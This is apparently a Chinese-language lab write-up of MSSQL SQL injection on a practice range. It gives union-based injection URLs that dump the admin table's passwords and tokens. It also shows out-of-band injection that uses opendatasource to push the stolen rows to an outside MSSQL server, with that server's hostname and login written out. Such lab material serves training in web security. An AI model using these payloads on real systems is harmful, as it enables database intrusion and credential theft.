1. 程式人生 > 其它 >封神臺靶場-MSSQL注入

封神臺靶場-MSSQL注入

MSSQL顯錯注入

與MySQL聯合查詢不同,MSSQL聯合查詢由於資料型別匹配較為嚴格,所以需要union select null來代替數字,然後不斷嘗試尋找到正確的型別,但是大體上還是相似的

猜解欄位數

http://o9pz8015.ia.aqlab.cn/?id=1' order by 3 -- qwe #頁面正常
http://o9pz8015.ia.aqlab.cn/?id=1' order by 4 -- qwe #頁面異常
得出欄位數為3

判斷顯錯點

http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select 1,'a','b' -- qwe

得出顯錯點第一個欄位為整型,第二三個欄位為字元型

查詢系統自帶庫的表

http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,name,null from sysobjects where xtype='U' -- qwe

查詢admin表的欄位名

http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,name,null from syscolumns where id=1977058079 -- qwe

查詢admin表的資料

http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,passwd,token from admin -- qwe

得出flag為:zkaq{e9c9e67c5}

MSSQL反彈注入

概念:

利用SQL語句,讓目標的資料庫來訪問你在公網上的資料庫,然後插入資料
本質就是讓目標機器訪問攻擊者準備好的資料庫,然後插入資訊

原理:

利用opendatasource函式,把查詢出來的資料傳送到準備好的MSSQL伺服器上

查詢語句

# 查詢系統自帶表中xtype='U'的name,id並插入到我們準備好的temp表
http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,name,null,null from sysobjects where xtype='U' -- qwe

# 通過id鎖定admin表,然後查詢admin表的欄位名並插入到我們準備好的temp表
http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,name,null,null from syscolumns where id=1977058079 -- qwe

# 查詢admin表的資料並插入到準備好的temp表中
http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,passwd,token,username from admin -- qwe

最終得到表:

flag為:zkaq{e9c9e67c5}